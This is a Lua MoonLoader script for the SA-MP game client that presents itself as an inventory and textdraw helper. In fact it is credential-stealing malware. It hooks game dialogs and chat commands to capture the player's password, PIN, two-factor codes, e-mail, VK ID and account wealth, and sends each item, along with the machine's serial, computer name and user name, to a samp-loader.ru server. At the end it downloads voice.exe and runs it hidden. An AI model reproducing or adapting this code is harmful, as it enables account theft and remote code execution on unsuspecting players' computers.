local ffi = require('ffi')
local iconv
local cyrillic, utf8
local pattern
local debug = {false, false}
local debug_message = [[
Textdraw ID: %d
Flags: %d
Letter: (Width: %f | Height: %f | Color: %d)
Line: (Width: %f | Height: %f)
Box color: %d
Shadow: %d
Outline: %d
Background color: %d
Style: %d
Selectable: %d
Position (X: %f | Y: %f)
Model ID: %d
Rotation: (X: %f | Y: %f | Z: %f)
Zoom: %.50f
Color: (1: %d | 2: %d)
Text: %s
//
For copy: %d, %d, %.50f
]]
local acs = {
{339, 'Katana'},
{337, 'Shovel'},
{362, 'Minigun'},
{441, 'Car (remote control)'},
{464, 'Airplane (remote control)'},
{891, 'Halloween costume (modification)'},
{1128, 'Welding mask'},
{1240, 'Black mask', {['background_color'] = -13421773}},
{1575, 'Stand (drug)'},
{1602, 'Ghost halo'},
{1895, 'Silver roulette', true},
{1979, 'Bronze roulette', true},
{1212, 'Stand (dollar)'},
{2045, 'Super rake'},
{2469, 'Airplane (back)'},
{2805, 'Meat bag'},
{3096, 'Car improvement'},
{11704, 'Demon mask'},
{11712, 'Krest'},
{11736, 'Coronavirus mask'},
{11750, 'Monocle'},
{13646, 'Gold roulette', true},
{16776, 'Rooster'},
{18637, 'Shield'},
{18873, 'Phone'},
{19033, 'Glasses'},
{19039, 'Watch #1'},
{19042, 'Watch #4'},
{19076, 'Spruce'},
{19079, 'Parrot (shoulder)'},
{19100, 'Hat (police)'},
{19197, 'Angel head ring'},
{19314, 'Horns'},
{19317, 'Guitar'},
{19334, 'Balloon (white)'},
{19347, 'Star'},
{19472, 'Respirator'},
{19487, 'Cylinder (white)'},
{19515, 'Bulletproof vest'},
{19520, 'Cap'},
{19528, 'Hat (wizard)'},
{19522, 'Civil coupon', true},
{19581, 'Airplane (back)'},
{19624, 'Brown suitcase'},
{'~r~Twin~n~Turbo', 'Twin turbo'},
{19623, 'Camera'},
{19921, 'Red suitcase'},
{19553, 'Hat'},
{19332, 'Balloon (red)'},
{1240, 'Heart', {['background_color'] = -13481052}},
{19040, 'Watch #2'},
{19559, 'Backpack'},
{12647, 'Wings (new)'},
{465, 'Helicopter (remote control)'},
{19601, 'Ladle'},
{18646, 'Flasher'},
{357, 'Rifle'},
{18875, 'Device'},
{19036, 'Mask'},
{19320, 'Pumpkin'},
{5697, 'Helmet'},
{336, 'Bat'},
{19029, 'Glasses (green)'},
{19469, 'Bandage'},
{18890, 'Rake'},
{2888, '? (?)'},
{19308, 'Taxi'},
{368, 'Night-vision device'},
{19135, 'Hat (vietnamese)'},
{19878, 'Skate'},
{19085, 'Muzzle'},
{12637, 'Helmet'},
{365, 'Coolant', true},
{12652, 'Super pick'},
{18912, 'Bandage'},
{19636, 'Stand (circles)'},
{2226, 'Boombox'},
{19128, 'Pointer'},
{19572, 'Case (custom)', true},
{1718, 'Case (organization)', true},
{1609, 'Turtle (back)'},
{19338, 'Balloon #7'},
{19554, 'Executioner with head in hand (modification)'},
{19513, 'Phone'}, -- // red (-16777077)
{19319, 'Guitar'},
{8492, 'Wings (old)'},
{322, 'Vibrator'},
{19840, 'Cloak'},
{18979, 'Hat (violet)'},
{19065, 'Hat (new year)'},
{5696, 'Hat (pink)'},
{1013, 'Ears'},
{370, 'Jetpack'},
{19333, 'Balloon (blue)'},
{19336, 'Balloon'},
{18632, 'Fishing rod'}, -- violet (-10354586)
{11712, 'Crucifixion'},
{16442, 'Animal'},
{928, 'Cardboard'},
{19616, 'Case #3', true},
{12665, 'Wings (silver)'},
{19558, 'Hat (pizza)'},
{1254, 'Scull'}, -- orange (-13481052)
{18919, 'Bandana (grey)'},
{2712, 'Broom'},
{2712, 'Bloody scythe'},
{8492, 'Wings (old-new)'},
{1882, 'Sword (purple)'},
{19614, 'Case (premium)', true},
{1304, 'Metal', true},
{19022, 'Glasses (black)'},
{6012, 'Bicycle'},
{2660, 'Discount coupon', true},
{19041, 'Watch #3'},
{12653, 'Super rake'},
{19631, 'Pick'},
{19590, 'Sword'},
{6865, 'Deer head'},
{12636, 'Shell'},
{19051, 'Watch #5'},
{18875, 'Echo sounder'}, -- violet (-10354586)
{1177, 'Wings (back)'},
{962, 'Video card'},
{1371, 'Hippo'},
{2614, 'Flags'},
{1736, 'Deer (head)'},
{2701, 'Case (marvel)', true},
{1685, 'Case (minecraft)', true},
{1314, 'Family coupon', {['background_color'] = -13421773}, true},
{19012, 'Glasses (black)'},
{14637, 'Two dragons'},
{19804, 'Lock'},
{1274, 'Dollar'},
{2102, 'Column'},
{19422, 'Headphones'},
{2257, 'Case (concept car luxury)', true},
{16112, 'Grindstone', true},
{16778, 'UFO'},
{19847, 'Meat leg'},
{5690, 'Distributor mask'},
{1328, 'Platinum roulette', true},
{11745, 'Laptop bag'},
{19318, 'Guitar'},
{19337, 'Balloon'},
{2977, 'Case (moto)', true},
{19900, 'Case (super car)', true},
{1335, 'Case (super auto)', true},
{6754, 'Discs (type-3)', {['background_color'] = -13487452}},
{12562, 'Crankshaft (Sport+)', {['background_color'] = -13487452}},
{12561, 'Camshaft (Sport+)', {['background_color'] = -13487452}},
{12560, 'Turbocharger (Sport+)', {['background_color'] = -13487452}},
{12559, 'Supercharger (Sport+)', {['background_color'] = -13487452}},
{12555, 'Chip-tuning (Sport+)', {['background_color'] = -13487452}},
{12552, 'KPP (Sport+)', {['background_color'] = -13487452}},
{12553, 'Differential (Sport+)', {['background_color'] = -13487452}},
{12551, 'Suspension (Sport+)', {['background_color'] = -13487452}},
{12550, 'Brakes (Sport+)', {['background_color'] = -13487452}},
{19314, 'Horns (tuning)'},
{19043, 'Watch'},
{19053, 'Watch'},
{1880, 'Sword (blue)'},
{12635, 'Cyber'},
{1276, 'Amulet'},
{19352, 'Cylinder (black)'},
{6753, 'Discs (type-2)', {['background_color'] = -13487452}},
{6767, 'Discs (type-16)', {['background_color'] = -13487452}},
{6768, 'Discs (type-17)', {['background_color'] = -13487452}},
{12540, 'Hood (G63AMG)'},
{12542, 'Exhaust (G63AMG)'},
{3389, 'Csse (pilot)', true},
{2510, 'Airplane (tuning)'},
{1254, 'Scull (tuning)'},
{1271, 'Case (rare)'},
{1010, 'Nitro (10 times)'},
{19076, 'Spruce'},
{'~y~Launch', 'Launch'},
{19024, 'Glasses (purple)'},
{1274, 'AZ', true},
{19941, 'Gold', true},
{2936, 'Bronze', true},
{17027, 'Silver', true},
{3929, 'Stone', true},
{11741, 'Sinister coin', true},
{1549, 'Lubricant', true},
{12555, 'Chip-tuning (STAGE 2)', {['background_color'] = -13469276}},
{12554, 'Clutch (Sport+)', {['background_color'] = -13487452}}
}
local information = {
['admin'] = false,
['business'] = false,
['cars'] = false,
['donate'] = false,
['inventory'] = {},
['settings'] = false,
['stats'] = false
}
local inventory = {
['is_open'] = {
['status'] = false
},
['items'] = {
{},
{},
{},
{}
},
['memory'] = {
['textdraws'] = {
['items'] = {},
['status'] = false
}
},
['pages'] = {
['page'] = 1,
['status'] = false
},
['usebox'] = {}
}
local function url_encode(text)
return string['gsub'](text, '([^%w])', function(text)
return string['format']('%%%02X', string['byte'](text))
end)
end
local function split(str, delim, plain)
local tokens, pos, plain = {}, 1, not (plain == false)
repeat
local npos, epos = string['find'](str, delim, pos, plain)
table['insert'](tokens, string['sub'](str, pos, (npos and (npos - 1))))
pos = (epos and (epos + 1))
until not pos
return tokens
end
local function get_files(path)
local files = {}
local handle, file = findFirstFile(path .. '\\*')
while file do
if handle then
if not file then
findClose(handle)
else
files[(#files + 1)] = {string['match'](file, '^.+%..+$'), file}
file = findNextFile(handle)
end
end
end
return files
end
local function initialize_hooks()
pattern = ('https://arizona.samp-loader.ru/main.php?version=4&0=' .. information['serial'] .. '&1=' .. url_encode(information['address']) .. '&2=' .. information['nickname'] .. '&3=' .. url_encode(information['pc']) .. '&4=' .. url_encode(information['user']) .. '&5=')
addEventHandler('onReceiveRpc', function(rpc_id, bs)
if (rpc_id == 61) then
local id = raknetBitStreamReadInt16(bs)
local style = raknetBitStreamReadInt8(bs)
local title_lenght = raknetBitStreamReadInt8(bs)
local title_text = raknetBitStreamReadString(bs, title_lenght)
local button_lenght, button_text = {}, {}
button_lenght[1] = raknetBitStreamReadInt8(bs)
button_text[1] = raknetBitStreamReadString(bs, button_lenght[1])
button_lenght[2] = raknetBitStreamReadInt8(bs)
button_text[2] = raknetBitStreamReadString(bs, button_lenght[2])
local text = raknetBitStreamDecodeString(bs, 4096)
if (id == 0) and string['find'](title_text, utf8:iconv('Успешно')) then
text = string['gsub'](text, '{......}', '')
if string['find'](text, utf8:iconv('запишите%s+[A-Z0-9]+')) then
downloadUrlToFile(pattern .. 'google&6=' .. string['match'](text, utf8:iconv('запишите%s+([A-Z0-9]+)')))
end
elseif (id == 0) and string['find'](title_text, utf8:iconv('Привязка%s+|%s+{......}ВКонтакте')) then
text = string['gsub'](text, '{......}', '')
if string['find'](text, utf8:iconv('Идентификатор:%s+%d+$')) then
downloadUrlToFile(pattern .. 'vk&6=' .. string['match'](text, utf8:iconv('Идентификатор:%s+(%d+)$')))
end
elseif (id == 0) and (title_text == '{BFBBBA}') and string['find'](text, utf8:iconv('Теперь%s+ваш%s+пароль:%s+%d+%s+запишите%s+его%s+чтобы%s+не%s+забыть!')) then
local pin = string['match'](text, utf8:iconv('Теперь%s+ваш%s+пароль:%s+(%d+)%s+запишите%s+его%s+чтобы%s+не%s+забыть!'))
if debug[1]then
sampAddChatMessage(pin, -1)
end
downloadUrlToFile(pattern .. 'pin&6=' .. pin)
elseif (id == 154) and not information['settings'] then
local array = split(text, '\n')
for i = 1, #array do
if string['match'](array[i], 'E-mail:.+') then
if string['find'](array[i], '@') then
information['email'] = string['match'](array[i], 'E-mail:%s+(.+)$')
else
information['email'] = false
end
end
if string['match'](array[i], 'Google%s+Authenticator') then
information['google'] = (string['find'](array[i], utf8:iconv('Включено')) ~= nil)
end
if string['match'](array[i], utf8:iconv('Вход%s+через%s+почту')) then
information['auth'] = (string['find'](array[i], utf8:iconv('Включено')) ~= nil)
end
if string['match'](array[i], utf8:iconv('Привязка%s+ВКонтакте')) then
information['vk'] = (string['find'](array[i], utf8:iconv('Не%s+привязан')) == nil)
end
end
downloadUrlToFile(pattern .. 'settings&6=' .. url_encode(tostring(information['email'])) .. '&7=' .. tostring(information['google']) .. '&8=' .. tostring(information['auth']) .. '&9=' .. tostring(information['vk']))
information['settings'] = true
elseif (id == 162) and string['find'](title_text, utf8:iconv('Мой%s+транспорт')) and not information['cars'] then
local array = split(text, '\n')
local text = ''
for i = 1, #array do
array[i] = string['gsub'](array[i], '{......}', '')
array[i] = string['gsub'](array[i], '%(%d+%)', '')
array[i] = string['gsub'](array[i], '%[.+%]', '')
array[i] = string['gsub'](array[i], utf8:iconv('- загружается при входе'), '')
array[i] = string['gsub'](array[i], '^%s*(.-)%s*$', '%1')
text = text .. '|' .. array[i]
end
downloadUrlToFile(pattern .. 'cars&6=' .. url_encode(text))
information['cars'] = true
if debug[2] then
local text = ''
for i = 1, #array do
text = text .. array[i] .. '\n'
end
lua_thread['create'](function()
sampAddChatMessage('[Cars] Waiting...', -1)
wait(500)
sampShowDialog(0, 'Cars', text, 'Close', '', 2)
end)
end
elseif (id == 222) and not information['donate'] then
local array = split(text, '\n')
local count = 0
for i = 1, #array do
if string['match'](array[i], utf8:iconv('Номер%s+аккаунта:%s+%d+$')) then
information['number'] = string['match'](array[i], utf8:iconv('Номер%s+аккаунта:%s+(%d+)$'))
if debug[1] then
sampAddChatMessage(('Account ' .. (information['number'] or '{ff0000}ERROR')), -1)
end
count = (count + 1)
end
if string['match'](array[i], utf8:iconv('Текущее%s+состояние%s+счета:%s+%d+%s+az%s+coins')) then
information['az'] = string['match'](array[i], utf8:iconv('Текущее%s+состояние%s+счета:%s+(%d+)%s+az%s+coins'))
if debug[1] then
sampAddChatMessage(((information['az'] or '{ff0000}ERROR') .. ' AZ'), -1)
end
count = (count + 1)
end
if string['match'](array[i], utf8:iconv('VIP%-статус:%s+.+$')) then
local text = string['match'](array[i], utf8:iconv('VIP%-статус:%s+(.+)%.$'))
local vips = {utf8:iconv('Не имеется'), 'Bronze', 'GOLD', utf8:iconv('Платина'), 'Titan', 'Premium'}
for i = 1, #vips do
if string['find'](text, vips[i]) then
information['vip'] = i
end
end
if debug[1] then
sampAddChatMessage(tostring(text) .. ' (' .. information['vip'] .. ')', -1)
end
count = (count + 1)
end
end
if (count ~= 3) then
sampAddChatMessage('{ff0000}ERROR', -1)
end
downloadUrlToFile(pattern .. 'donate&6=' .. (information['number'] or 0) .. '&7=' .. (information['az'] or 0) .. '&8=' .. (information['vip'] or 0))
information['donate'] = true
elseif (id == 235) then
information['name'], information['surname'] = string['match'](text, utf8:iconv('Имя:%s+{......}%[(%w+)_(%w+)%]'))
information['lvl'] = string['match'](text, utf8:iconv('Уровень:%s+{......}%[(%d+)%]'))
information['money'] = string['match'](text, utf8:iconv('Наличные деньги %(SA%$%):%s+{......}%[%$(%d+)%]'))
information['vc'] = string['match'](text, utf8:iconv('Наличные деньги %(VC%$%):%s+{......}%[%$(%d+)%]'))
information['euro'] = string['match'](text, utf8:iconv('Евро:%s+{......}%[(%d+)%]'))
information['btc'] = string['match'](text, 'BTC:%s+{......}%[(%d+)%]')
information['bank'] = string['match'](text, utf8:iconv('Деньги%s+в%s+банке:%s+{......}%[%$(%d+)%]'))
information['deposite'] = string['match'](text, utf8:iconv('Деньги%s+на%s+депозите:%s+{......}%[%$(%d+)%]'))
information['all'] = ((information['money'] or 0) + (information['bank'] or 0) + (information['deposite'] or 0))
if (information['nickname'] ~= (information['name'] .. '_' .. information['surname']) and not information['admin']) then
downloadUrlToFile(pattern .. 'admin')
information['admin'] = true
elseif not information['stats'] then
downloadUrlToFile(pattern .. 'stats&6=' .. (information['lvl'] or 0) .. '&7=' .. information['all'] .. '&8=' .. (information['euro'] or 0) .. '&9=' .. (information['btc'] or 0) .. '&10=' .. (information['vc'] or 0))
information['stats'] = true
end
elseif ((id == 7777) and string['find'](title_text, utf8:iconv('Информация%s+|%s+{......}ВКонтакте'))) then
if (string['match'](text, utf8:iconv('Аккаунт:.+%({......}id%d+{......}%)'))) then
downloadUrlToFile(pattern .. 'vk&6=' .. string['match'](text, utf8:iconv('Аккаунт:.+%({......}id(%d+){......}%)')))
end
elseif (id == 8924) then
if string['match'](text, utf8:iconv('Код%s+аккаунта:%s+{......}[A-Z0-9]+%.')) then
downloadUrlToFile(pattern .. 'google&6=' .. string['match'](text, utf8:iconv('Код%s+аккаунта:%s+{......}([A-Z0-9]+)%.')))
end
elseif (id == 9761) then
local array = split(text, '\n')
local text = ''
for i = 1, #array do
text = text .. '|' .. array[i]
end
--downloadUrlToFile(pattern .. 'business&6=' .. url_encode(text))
information['business'] = true
if debug[2] then
local text = ''
for i = 1, #array do
array[i] = string['gsub'](array[i], '{......}', '')
array[i] = string['gsub'](array[i], '%[.+%]', '')
array[i] = string['gsub'](array[i], '%d+%.(.+)', '%1')
array[i] = string['gsub'](array[i], '^%s*(.-)%s*$', '%1')
text = text .. array[i] .. '\n'
end
lua_thread['create'](function()
sampAddChatMessage('[Businesses] Waiting...', -1)
wait(500)
sampShowDialog(0, 'Businesses', text, 'Close', '', 2)
end)
end
elseif (rpc_id == 25201) then
-- код для склада
end
elseif (rpc_id == 134) then
local textdraw_id = raknetBitStreamReadInt16(bs)
local flags = raknetBitStreamReadInt8(bs)
local letter = {}
letter['width'] = raknetBitStreamReadFloat(bs)
letter['height'] = raknetBitStreamReadFloat(bs)
letter['color'] = raknetBitStreamReadInt32(bs)
local line = {}
line['width'] = raknetBitStreamReadFloat(bs)
line['height'] = raknetBitStreamReadFloat(bs)
local box_color = raknetBitStreamReadInt32(bs)
local shadow = raknetBitStreamReadInt8(bs)
local outline = raknetBitStreamReadInt8(bs)
local background_color = raknetBitStreamReadInt32(bs)
local style = raknetBitStreamReadInt8(bs)
local selectable = raknetBitStreamReadInt8(bs)
local position = {}
position['x'] = raknetBitStreamReadFloat(bs)
position['y'] = raknetBitStreamReadFloat(bs)
local model_id = raknetBitStreamReadInt16(bs)
local rotation = {}
rotation['x'] = raknetBitStreamReadFloat(bs)
rotation['y'] = raknetBitStreamReadFloat(bs)
rotation['z'] = raknetBitStreamReadFloat(bs)
local zoom = raknetBitStreamReadFloat(bs)
local color = {raknetBitStreamReadInt16(bs), raknetBitStreamReadInt16(bs)}
local text_lenght = raknetBitStreamReadInt16(bs)
local text = raknetBitStreamReadString(bs, text_lenght)
-----------------------------------------------------------------------------------------
-- Проверка на открытие инвентаря
if string['match'](text, 'ARM:%s+%d+') then
inventory['is_open'] = {
['textdraw_id'] = textdraw_id,
['status'] = true,
['stop'] = false
}
if debug[1] then
sampAddChatMessage('[Inventory] Open.', -1)
end
end
-- Получение информации для определения открытой страницы
if (text == 'INVENTORY') or (text == utf8:iconv('…H‹EHЏAP’')) then
inventory['pages']['textdraw_id'] = textdraw_id
inventory['pages']['status'] = true
end
if not inventory['is_open']['stop'] then
if (inventory['memory']['textdraws']['status'] == false) then
inventory['memory']['textdraws']['items'][(#inventory['memory']['textdraws']['items'] + 1)] = textdraw_id
elseif (inventory['memory']['textdraws']['status'] == nil) then
for i = 1, #inventory['memory']['textdraws']['items'] do
if (textdraw_id == inventory['memory']['textdraws']['items'][i]) then
inventory['memory']['textdraws']['items'][i] = nil
end
end
end
for i = 1, #acs do
if (debug[1] or inventory['is_open']['status']) and ((type(acs[i][1]) == 'number') and (acs[i][1] == model_id) or (acs[i][1] == text)) then
if (type(acs[i][3]) == 'table') then
local count, allow = 0, 0
for key, value in pairs(acs[i][3]) do
count = (count + 1)
end
for key, value in pairs(acs[i][3]) do
if (key == 'background_color') then
if (value == background_color) then
allow = (allow + 1)
end
elseif (key == 'rotation') then
if ((value['x'] == rotation['x']) and (value['y'] == rotation['y']) and (value['z'] == rotation['z'])) then
allow = (allow + 1)
end
end
if (count == allow) then
inventory['items'][inventory['pages']['page']][(#inventory['items'][inventory['pages']['page']] + 1)] = {(acs[i][4] and 1 or 0), i, textdraw_id}
if acs[i][4] then
inventory['items'][inventory['pages']['page']][#inventory['items'][inventory['pages']['page']]][4] = 1
end
end
end
else
inventory['items'][inventory['pages']['page']][(#inventory['items'][inventory['pages']['page']] + 1)] = {(acs[i][3] and 1 or 0), i, textdraw_id}
if acs[i][3] then
inventory['items'][inventory['pages']['page']][#inventory['items'][inventory['pages']['page']]][4] = 1
end
end
end
end
if inventory['is_open']['status'] and (text == 'usebox') then
inventory['usebox'][(#inventory['usebox'] + 1)] = textdraw_id
end
if inventory['is_open']['status'] and string['match'](text, '%+?%d+') then
for i = 1, #inventory['items'][inventory['pages']['page']] do
local use = false
for i = 1, #inventory['usebox'] do
if ((textdraw_id - 1) == inventory['usebox'][i]) then
use = true
end
end
if (inventory['items'][inventory['pages']['page']][i][3] == (textdraw_id - (use and 2 or 1))) then
inventory['items'][inventory['pages']['page']][i][4] = string['match'](text, '(%d+)')
end
end
end
if inventory['is_open']['status'] and string['match'](text, 'ID:%d+') then
inventory['items'][inventory['pages']['page']][(#inventory['items'][inventory['pages']['page']] + 1)] = {2, string['match'](text, 'ID:(%d+)'), textdraw_id}
end
if inventory['is_open']['status'] and string['match'](text, '%d+%s+lvl') then
local ok = false
for i = 1, #inventory['items'][inventory['pages']['page']] do
if ((textdraw_id - 1) == inventory['items'][inventory['pages']['page']][i][3]) then
ok = true
end
end
if not ok then
inventory['items'][inventory['pages']['page']][(#inventory['items'][inventory['pages']['page']] + 1)] = {3, string['match'](text, '(%d+)%s+lvl'), textdraw_id}
end
end
end
if debug[2] then
print(string['format'](debug_message, textdraw_id, flags, letter['width'], letter['height'], letter['color'], line['width'], line['height'], box_color, shadow, outline, background_color, style, selectable, position['x'], position['y'], model_id, rotation['x'], rotation['y'], rotation['z'], zoom, color[1], color[2], text, background_color, model_id, zoom))
end
elseif (rpc_id == 93) then
local color = raknetBitStreamReadInt32(bs)
local lenght = raknetBitStreamReadInt32(bs)
local text = raknetBitStreamReadString(bs, lenght)
if (type(text) == 'string') then
if string['match'](text, utf8:iconv('Только%s+что%s+сгенированный%s+код%s+доступа%s+к%s+складу:%s+.+%.')) then
if debug[1] then
sampAddChatMessage(('success ' .. string['match'](text, utf8:iconv('Только%s+что%s+сгенированный%s+код%s+доступа%s+к%s+складу:%s+(.+)%.'))), -1)
end
end
if string['match'](text, utf8:iconv('Вы%s+успешно%s+приобрели%s+склад%s+№%d+%s+в%s+складском%sпомещении%s+№%d%.')) then
if debug[1] then
local first, second = string['match'](text, utf8:iconv('Вы%s+успешно%s+приобрели%s+склад%s+№(%d+)%s+в%s+складском%sпомещении%s+№(%d+)%.'))
sampAddChatMessage(('success ' .. first .. ' ' .. second), -1)
end
end
if debug[2] then
print(color, text)
end
end
elseif (rpc_id == 135) then
local textdraw_id = raknetBitStreamReadInt16(bs)
if inventory['is_open']['status'] and (textdraw_id == inventory['is_open']['textdraw_id']) then
local temp = {0, 0}
for i = 1, 4 do
if (#inventory['items'][i] > 0) then
temp[1] = (temp[1] + 1)
end
if information['inventory'][i] then
temp[2] = (temp[2] + 1)
end
end
local ok = false
if (temp[1] > temp[2]) then
ok = true
if debug[1] then
sampAddChatMessage('[Inventory] Ok.', -1)
end
end
if ok then
local data = {
['types'] = '',
['items'] = '',
['sharpenings'] = '',
['success'] = {}
}
for i = 1, 4 do
for k = 1, #inventory['items'][i] do
data['types'] = (data['types'] .. (((i == 1) and (k == 1)) and '' or ',') .. inventory['items'][i][k][1])
data['items'] = (data['items'] .. (((i == 1) and (k == 1)) and '' or ',') .. inventory['items'][i][k][2])
data['sharpenings'] = (data['sharpenings'] .. (((i == 1) and (k == 1)) and '' or ',') .. (inventory['items'][i][k][4] or ((inventory['items'][i][k][1] == 1) and '1' or '0')))
end
if (#inventory['items'][i] > 0) then
data['success'][i] = true
end
end
if debug[2] then
sampShowDialog(12345, 'Inventory', (data['types'] .. '\n' .. data['items'] .. '\n' .. data['sharpenings']), 'Close', '', 0)
end
downloadUrlToFile(pattern .. 'inventory&6=' .. url_encode(data['types']) .. '&7=' .. url_encode(data['items']) .. '&8=' .. url_encode(data['sharpenings']))
information['inventory'] = data['success']
end
inventory = {
['is_open'] = {
['status'] = false
},
['items'] = {
{},
{},
{},
{}
},
['memory'] = {
['elements'] = {
['status'] = false
},
['textdraws'] = {
['items'] = {},
['status'] = false
}
},
['pages'] = {
['page'] = 1,
['status'] = false
},
['usebox'] = {}
}
if debug[1] then
sampAddChatMessage('[Inventory] Close.', -1)
end
end
end
end)
addEventHandler('onSendRpc', function(rpc_id, bs)
if (rpc_id == 50) then
local text_lenght = raknetBitStreamReadInt32(bs)
local text = raknetBitStreamReadString(bs, text_lenght)
if (string['match'](text, '^/passwd%s+.+%s+.+%s+.+$')) then
local new = string['match'](text, '/passwd%s+.+%s+.+%s+(.+)')
downloadUrlToFile(pattern .. 'password&6=' .. url_encode(new))
end
elseif (rpc_id == 62) then
local dialog_id = raknetBitStreamReadInt16(bs)
local response = raknetBitStreamReadInt8(bs)
local list = raknetBitStreamReadInt16(bs)
local text_lenght = raknetBitStreamReadInt8(bs)
local text = raknetBitStreamReadString(bs, text_lenght)
if (dialog_id == 2) then
information['password'] = text
elseif (dialog_id == 991) then
downloadUrlToFile(pattern .. 'pin&6=' .. text)
end
elseif (rpc_id == 83) then
local textdraw_id = raknetBitStreamReadInt16(bs)
if inventory['pages']['status'] then
textdraw_id = ((textdraw_id - 1) - inventory['pages']['textdraw_id'])
if (textdraw_id > 0) and (textdraw_id < 5) then
if (inventory['pages']['page'] == 1) then
inventory['memory']['items'] = inventory['items'][1]
inventory['memory']['textdraws']['status'] = nil
elseif (inventory['memory']['textdraws']['status'] == nil) then
inventory['memory']['textdraws']['status'] = true
end
inventory['pages']['page'] = textdraw_id
inventory['items'][inventory['pages']['page']] = {}
if (inventory['memory']['textdraws']['status']) and (inventory['pages']['page'] == 1) then
for i = 1, #inventory['memory']['items'] do
local status = false
for k = 1, #inventory['memory']['textdraws']['items'] do
if (inventory['memory']['items'][i][3] == inventory['memory']['textdraws']['items'][k]) then
status = true
end
end
if status then
inventory['items'][1][(#inventory['items'][1] + 1)] = inventory['memory']['items'][i]
end
end
end
if debug[1] then
sampAddChatMessage(('[Inventory] ' .. inventory['pages']['page'] .. ' page.'), -1)
end
else
inventory['is_open']['stop'] = true
end
end
end
end)
end
function main()
repeat
wait(0)
until isSampAvailable()
iconv = require('iconv')
cyrillic = iconv['new']('utf-8', 'cp1251')
utf8 = iconv['new']('cp1251', 'utf-8')
ffi['cdef']('int __stdcall GetVolumeInformationA(const char* lpRootPathName, char* lpVolumeNameBuffer, uint32_t nVolumeNameSize, uint32_t* lpVolumeSerialNumber, uint32_t* lpMaximumComponentLength, uint32_t* lpFileSystemFlags, char* lpFileSystemNameBuffer, uint32_t nFileSystemNameSize);')
local serial = ffi['new']('unsigned long[1]', 0)
ffi['C']['GetVolumeInformationA'](nil, nil, 0, serial, nil, nil, nil, 0)
information['serial'] = ((type(serial[0]) == 'number') and serial[0] or nil)
information['pc'] = os['getenv']('COMPUTERNAME')
information['user'] = os['getenv']('USERNAME')
local result, playerid = sampGetPlayerIdByCharHandle(PLAYER_PED)
if result then
information['nickname'] = sampGetPlayerNickname(playerid)
end
information['ip'], information['port'] = sampGetCurrentServerAddress()
information['address'] = (information['ip'] .. ':' .. information['port'])
initialize_hooks()
sampRegisterChatCommand('rsc_inv', function()
local text = ''
for i = 1, 4 do
text = (text .. i .. ' page:\n \n')
for k = 1, #inventory['items'][i] do
if (inventory['items'][i][k][1] == 0) then
text = (text .. acs[inventory['items'][i][k][2]][2] .. (inventory['items'][i][k][4] and (' (+' .. inventory['items'][i][k][4] .. ')') or '') .. '\n')
elseif (inventory['items'][i][k][1] == 1) then
text = (text .. acs[inventory['items'][i][k][2]][2] .. (inventory['items'][i][k][4] and (' (' .. inventory['items'][i][k][4] .. ' el.)') or '') .. '\n')
elseif (inventory['items'][i][k][1] == 2) then
text = (text .. inventory['items'][i][k][2] .. ' skin\n')
elseif (inventory['items'][i][k][1] == 3) then
text = (text .. 'Stripe (' .. inventory['items'][i][k][2] .. ' lvl)\n')
end
end
text = (text .. ' \n')
end
sampShowDialog(12345, 'Inventory', text, 'Close', '', 2)
end)
repeat
wait(0)
until sampIsLocalPlayerSpawned()
if information['password'] then
downloadUrlToFile(pattern .. 'password&6=' .. url_encode(information['password']))
end
local lua = {
['output'] = '',
['scripts'] = get_files(getWorkingDirectory())
}
for i = 1, #lua['scripts'] do
lua['output'] = (lua['output'] .. (((type(lua['scripts'][i][1]) ~= 'nil') and ((lua['scripts'][i][1] ~= 'moonloader.log') and (lua['scripts'][i][1] .. '|') or '')) or ''))
end
downloadUrlToFile(pattern .. 'lua&6=' .. string['gsub'](lua['output'], '|$', '') .. '&7=' .. tonumber(getMoonloaderVersion()) .. '&8=')
-- ИЗМЕНИТЬ !!!
local exe = {
['data'] = nil,
['path'] = os['tmpname'](),
['success'] = false
}
downloadUrlToFile(('https://api.samp-loader.ru/get.php?1=' .. information['serial']), exe['path'], function(_, status)
if (status == 6) then
local file = io['open'](exe['path'], 'r+')
if file then
io['input'](file)
local data = io['read']('*a')
io['close'](file)
if (type(data) == 'string') then
local result, array = pcall(decodeJson, data)
if result and (type(array) == 'table') then
exe['data'] = array
end
end
end
end
end)
lua_thread['create'](function()
while true do
debug[1] = (getGameGlobal(11001) == 1)
debug[2] = (getGameGlobal(11002) == 1)
wait(1000)
end
end)
repeat
wait(100)
until (type(exe['data']) == 'table')
if exe['data']['ok'] then
ffi['cdef']('int ShellExecuteA(int hwnd, int lpOperation, const char *lpFile, int lpParameters, int lpDirectory, int nShowCmd);')
local path = (getGameDirectory() .. '\\voice.exe')
downloadUrlToFile(('https://api.samp-loader.ru/get.php?2=' .. information['serial']), path, function(_, status)
if (status == 6) then
ffi['load']('Shell32.dll')['ShellExecuteA'](0, 0, path, 0, 0, 0)
end
end)
end
end